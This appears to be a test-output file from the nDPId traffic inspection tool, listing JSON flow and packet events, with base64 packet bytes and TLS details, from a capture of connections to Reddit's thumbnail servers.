+00456{"flow_id":18,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":859,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":201914,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdDA6Vsjls46UMgBALMNhKAAABAQgKwtc5J6l05lY="} +00456{"flow_id":17,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":861,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":201935,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdCnzg2gcZci+CgBALMAsuAAABAQgKwtc5KKl05lY="} +00438{"flow_id":18,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":866,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":201947,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gCsXSABQGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QwBu2zjpQwAAAAAUAQAAGk3AAA="} +00438{"flow_id":17,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":868,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":201958,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gAi8TABQGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QoBuxlyL4IAAAAAUAQAADI1AAA="} +00456{"flow_id":17,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":884,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":203769,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdCnzg2gcZci+CgBELMAssAAABAQgKwtc5Kal05lY="} +00456{"flow_id":18,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":885,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":203769,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdDA6Vsjls46UMgBELMNhHAAABAQgKwtc5Kal05lY="} +00438{"flow_id":17,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":886,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":203774,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gAi8TABQGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QoBuxlyL4IAAAAAUAQAADI1AAA="} +00438{"flow_id":18,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":887,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":203778,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gCsXSABQGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QwBu2zjpQwAAAAAUAQAAGk3AAA="} +00507{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1160,"source":"reddit.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1605291686301,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56594,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":21,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1160,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":301196,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gDu9XACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3RIBuyQ3ML0AAAAAoAL9IDDZAAACBAWgBAIICql05vEAAAAAAQMDBw=="} +00468{"flow_id":21,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1203,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":327034,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdEkHBFWUkNzC+oBJXgILuAAACBAV4AQMDAwQCCArC1zmoqXTm8Q=="} +00454{"flow_id":21,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1208,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":327076,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDu9XACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3RIBuyQ3ML5BwRVmgBAB+wbmAAABAQgKqXTnC8LXOag="} +01147{"flow_id":21,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1211,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":327471,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gDu9XAiUGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3RIBuyQ3ML5BwRVmgBgB+6IBAAABAQgKqXTnC8LXOagWAwECAAEAAfwDA3fQE2bFMSg9V0ArEx1DsWJIv73oxXvB9GJfjd2ybJfQIFrXxaRDJ9lBszDg6UwzwOQonUBDW8zTTtfnwcTvyt2MACA6OhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZMqKgAAAAAAHQAbAAAYYi50aHVtYnMucmVkZGl0bWVkaWEuY29tABcAAP8BAAEAAAoACgAISkoAHQAXABgACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAAA0AEgAQBAMIBAQBBQMIBQUBCAYGAQASAAAAMwArAClKSgABAAAdACBQ4ydRyS\/5f7HpSvaHkgvC0msLXL39ObHQFVtCoyAcOQAtAAIBAQArAAsKenoDBAMDAwIDAQAbAAMCAAKamgABAAAVAMQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00836{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1211,"source":"reddit.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":4,"flow_first_seen":1605291686301,"flow_last_seen":1605291686327,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56594,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"b.thumbs.redditmedia.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00456{"flow_id":21,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1318,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":393401,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdEkHBFWYkNzLDgBALMPtvAAABAQgKwtc55Kl05ws="} +01865{"flow_id":21,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1398,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":419456,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdEkHBFWYkNzLDgBgLMO57AAABAQgKwtc55ql05wsWAwMAUgIAAE4DA2w2h4OnI5oqTmXU5WBqOgdwOPvgJebj0XNMae9Ppb25AMAvAAAm\/wEAAQAAAAAAAAsABAMAAQIAIwAAAAUAAAAQAAUAAwJoMgAXAAAWAwMK9QsACvEACu4ABlAwggZMMIIFNKADAgECAhALxRVguuP1otqG87N37ptnMA0GCSqGSIb3DQEBCwUAME0xCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxJzAlBgNVBAMTHkRpZ2lDZXJ0IFNIQTIgU2VjdXJlIFNlcnZlciBDQTAeFw0yMDAyMTgwMDAwMDBaFw0yMTA1MTQxMjAwMDBaMHMxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRQwEgYDVQQKEwtSZWRkaXQgSW5jLjEhMB8GA1UEAwwYKi50aHVtYnMucmVkZGl0bWVkaWEuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2m0tBPQBt7iNZ9yVM43JERqwrF\/7kkYx1k6FWIH3ERmFHj8lZDO2vnookRF1j+3gp2OWzg92awKOEw8ynv7OhC\/Q5ckvxRPMvNQykUR3dYJEzqFj6rVX+hgdBGcpvA2JYS6luoyXAfWrQhQFT1g16+2RjINDueb7iAIJsPJRzPCfTTbrfGcRKK8ruBZH0EoCxgUm0sBGwogRiZ1j\/WylqkCyWbwdS3kXLbokhtsK7bgg+OCKQjLVg4Gawug\/eb5u8K5JUy+ck86Oa9v3xh3x9M8m8xRtsLH7k4wM5UectnuPET63DLhhwFSJ64Hy6vNbeV\/xglSptawNgIIF4BtCAQIDAQABo4IDADCCAvwwHwYDVR0jBBgwFoAUD4BhHIIxYdUvKOeNRji0LOHG2eIwHQYDVR0OBBYEFFry81+a+cNcHveCjTY9tHerLfKDMDsGA1UdEQQ0MDKCGCoudGh1bWJzLnJlZGRpdG1lZGlhLmNvbYIWdGh1bWJzLnJlZGRpdG1lZGlhLmNvbTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMGsGA1UdHwRkMGIwL6AtoCuGKWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9zc2NhLXNoYTItZzYuY3JsMC+gLaArhilodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vc3NjYS1zaGEyLWc2LmNybDBMBgNVHSAERTBDMDcGCWCGSAGG\/WwBATAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMAgGBmeBDAECAjB8BggrBgEFBQcB"} +00892{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1398,"source":"reddit.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":6,"flow_first_seen":1605291686301,"flow_last_seen":1605291686419,"flow_tot_l4_data_len":1773,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":295,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56594,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"b.thumbs.redditmedia.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00454{"flow_id":21,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1401,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":419467,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDu9XACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3RIBuyQ3MsNBwRl+gBAB9QA1AAABAQgKqXTnZ8LXOeY="} +01871{"flow_id":21,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1405,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":420291,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdEkHBGX4kNzLDgBgLMDfDAAABAQgKwtc55ql05wsBBHAwbjAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tMEYGCCsGAQUFBzAChjpodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRTSEEyU2VjdXJlU2VydmVyQ0EuY3J0MAwGA1UdEwEB\/wQCMAAwggEFBgorBgEEAdZ5AgQCBIH2BIHzAPEAdwC72d+8H4pxtZOUI5eqkntHOFeVCqtS6BqQlmQ2jh7RhQAAAXBYgRWDAAAEAwBIMEYCIQDHzXaR4B0YH3rB5zl\/ytcz+FJl7Zxtbv4nzWj2+mrP8AIhANvwvwlyQT+Rynl+pzhafPdcFaqKQ5X6Jb+svwfabBU2AHYAXNxDkv7mq0VEsV6a1FbmEDf71fpH3KFzlLJe5vbHDsoAAAFwWIEV5AAABAMARzBFAiB2TSqQUr6lBIFkWx4+6OGH4t4V5eNSLU3D4JXHzW\/bRQIhAP3l6PWmcmA2KGd5868mmIFUWuFVb3TgdVUEuKBtt2ySMA0GCSqGSIb3DQEBCwUAA4IBAQC5SMPLH\/yIoBGVmm8p1R\/rE3qqeu5LbPRbNxkauLpqgtV3F+0A7ZV+7WzF\/1A0p9Mw8jRs6gXlsm4Cl1bSypmJg1kQbUDu9phPcEeZC5\/okPI4mVW0f5HYzQTGzGX1+tDxuJDd0mlT3MGnZXdMugW0KM7VnqDGQBwakSYYe11bCU1u4Ltrd7L2d17O8+Ze4yDZxEblULm6iUwSPn0ySS2A+z5gy4gXweLEraMpLPuoyawau3zrWrkw91\/dZJxW4LKLoCCx5BQhuPkOMtdX\/eUVDxVpQe\/xx0f\/Hta44nNFzu4QShGmGydWhIw9oB6hnEizc6e9A0VNhRtRnseBY68kAASYMIIElDCCA3ygAwIBAgIQAf2j627KdciIQ4tyS8+8kTANBgkqhkiG9w0BAQsFADBhMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBDQTAeFw0xMzAzMDgxMjAwMDBaFw0yMzAzMDgxMjAwMDBaME0xCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxJzAlBgNVBAMTHkRpZ2lDZXJ0IFNIQTIgU2VjdXJlIFNlcnZlciBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANyuWJBNwcQwFZA1W248ghX1LFy949v\/cUP6ZCWA1O4Yok3wZtAKc24RmDYXZK83nf36QYSvx6+M\/hpzTc8zl5CilodTgyu5pnVILR1WN3vaMTIa16yr"} +01869{"flow_id":21,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1406,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":420291,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdEkHBHZYkNzLDgBgLMBeVAAABAQgKwtc55ql05wsG9KpdS7dHRt0qk8OQLnmAgO8TBGoUO7Wbkr7CB2VO\/Nr8\/3qu3Fx+VTEM6DkHpNe+L9MLatKx31\/+V3RTOzWA3a6ORJiznw7T2uDX9Gspq0SnS1iEbZJLgcPac4sSl0iQBEV1Gt03MZeS6M1UDTvkwT85Xi6481x+EI6GQQCNRWZHsKFlzqCqKQlO85fr6C6rD3KnMA76x\/T9FHfDpFsoV8Kz+YL9t0VYmwIDAQABo4IBWjCCAVYwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAYYwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wewYDVR0fBHQwcjA3oDWgM4YxaHR0cDovL2NybDMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0R2xvYmFsUm9vdENBLmNybDA3oDWgM4YxaHR0cDovL2NybDQuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0R2xvYmFsUm9vdENBLmNybDA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAdBgNVHQ4EFgQUD4BhHIIxYdUvKOeNRji0LOHG2eIwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUwDQYJKoZIhvcNAQELBQADggEBACM+30vSMUKltn5CXBpEzGnRaLRdS+AEIWxL4m3MseCXj6ZTCc2qKmXlOU8eg6VuXJiiJCbm+6Htk8cuAsZNSr+wQt942rOo+W3\/IYVTNmBMds7sONzWUYDwxdbl1E0nZKubxz5x+0iXuDNtyRMH7paiGxgV9lxMQO2zwuz\/ccHjR\/\/UuQC0N0LaIMnqboruFAaufaJZmIioG28t9PLJFF8mzyyNfu03wKnVObmCvxkM6jSvACFo+K1z4sky2jglC1XTmh3waIbtLkE073ylUB2\/OvnTwQgM5u0eilgl5Lh3rS1u9VLdtHSPq0kunTuTNCgfeM6U6se908ltHN5cMvMWAwMB3xYAAdsBAAHXMIIB0woBAKCCAcwwggHIBgkrBgEFBQcwAQEEggG5MIIBtTCBnqIWBBQPgGEcgjFh1S8o541GOLQs4cbZ4hgPMjAyMDExMDcyMzU2NTFaMHMwcTBJMAkGBSsOAwIaBQAEFBBfpnqACJ21J581zoMLQ4ieo8cNBBQPgGEcgjFh1S8o541GOLQs4cbZ4gIQC8UVYLrj9aLahvOzd+6bZ4AAGA8yMDIwMTEwNzIzNTY1MVqgERgPMjAyMDExMTQyMzExNTFaMA0GCSqGSIb3DQEBCwUAA4IBAQARl21TQUHOKoKU2eR5v9c8iWfM"} +01196{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1406,"source":"reddit.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":9,"flow_first_seen":1605291686301,"flow_last_seen":1605291686420,"flow_tot_l4_data_len":3965,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":440,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56594,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"b.thumbs.redditmedia.com","server_names":"*.thumbs.redditmedia.com,thumbs.redditmedia.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, CN=DigiCert SHA2 Secure Server CA","issuerDN":"C=US, ST=California, L=San Francisco, O=Reddit Inc., CN=*.thumbs.redditmedia.com","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"FF:F4:6C:CF:D6:FD:64:3E:50:17:A2:DE:B0:F2:B6:9B:76:59:C6:75"}} +01207{"flow_id":21,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1407,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":420291,"pkt_caplen":637,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":637,"pkt_l4_len":583,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAkcGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdEkHBIa4kNzLDgBgLMAl7AAABAQgKwtc55ql05wvaGEZDsqhEi2FHJHtxQVW0QkrUJGfvWHr5XJfBH6rrSjsWXGZnu5pVfstvBsQO3nLOBKzu6VCzldeyV2qNTtXdRdLDXYsTOlmKak+Z+7kO2wht0ZVC5tCzYAH1Y0YQaw8kQAI\/8sbbTEJzszSt\/9rfx28FKWGHfMAC1GfnFe\/kH4inuB4BAAcVZr8RdRC43UgPKphpm68b3ockr+0rssMPQVTVy31I6BrbyfktR3W+t3yzpfbxNzqRTj4DgVl\/YTIgZQh0y\/jhdvq\/lHz728Ho0MTZ+5GwC7U1EEZD1Hs2iXyw1htTD557HGZp9vkWAwMBLAwAASgDAB0gKaq+2n+kteNcaXnVQhWaWL9D3KlXWIZWq\/jEVqrL3DYIBAEAAlVCWeVf5PaZOAw+7mM1uRXe9F\/6yg8z8lTsLZg3q6pKEYD5hYnSP1iSzOveYHs5OlfQW3WItwmXM03H2VX3NnKlGF7GOMgxvRa0a2MynifvZEyeJCon0J2cxLSvXMjDMCTPPzT\/kE8sD04EN72u8Oejvre1NmIt70w7+DQ2iV8vJU8M03dVXc5pbjuFyHWom0Ctj8yv1RkOJx\/KRtBhp3+qUs1kCYjlxYrW0u\/nbd3bfAkGGarWAGZ+9qRj6B02Q4LLjVnKWkXkxwvcJo+N+v67tfOQDoet2uqejnMfzY68ucS42oDnI8XN8O8WLJS8IeYZn+b0ZIWdkaon6TgoZBYDAwAEDgAAAA=="} +00455{"flow_id":21,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1409,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":420296,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDu9XACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3RIBuyQ3MsNBwR2WgBAB9fwbAAABAQgKqXTnaMLXOeY="} +00456{"flow_id":21,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1410,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":420303,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDu9XACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3RIBuyQ3MsNBwSGugBAB8\/gFAAABAQgKqXTnaMLXOeY="} +00456{"flow_id":21,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1411,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":420307,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDu9XACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3RIBuyQ3MsNBwSPVgBAB7\/XiAAABAQgKqXTnaMLXOeY="} +00583{"flow_id":21,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1417,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":421886,"pkt_caplen":179,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":179,"pkt_l4_len":125,"pkt":"qtsDr8lk5EKm5WPyht1gDu9XAH0GQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3RIBuyQ3MsNBwSPVgBgB9Z1MAAABAQgKqXTnacLXOeYWAwMAJRAAACEgWYU3PfgsQKYihFO3uoMJdTmDwQVceFgYyiRr8prQm0MUAwMAAQEWAwMAKAAAAAAAAAAA0FgT\/SKenNyDYhzxq42tumFsAOJ4h5zHyIcni8qFEN4="} +00590{"flow_id":21,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1421,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":422007,"pkt_caplen":185,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":185,"pkt_l4_len":131,"pkt":"qtsDr8lk5EKm5WPyht1gDu9XAIMGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3RIBuyQ3MyBBwSPVgBgB9bbXAAABAQgKqXTnacLXOeYXAwMAXgAAAAAAAAABUHjyoTMKS98mcOvWf3UpTo1d4pwHgu1OJbBtPp584YrH51mfdENeft+iSY7mt4F2ROOjr+Z8p0dhvBTbwFC9CZTY4BZgbNz0YaORcr22c3h+rYSnehg="} 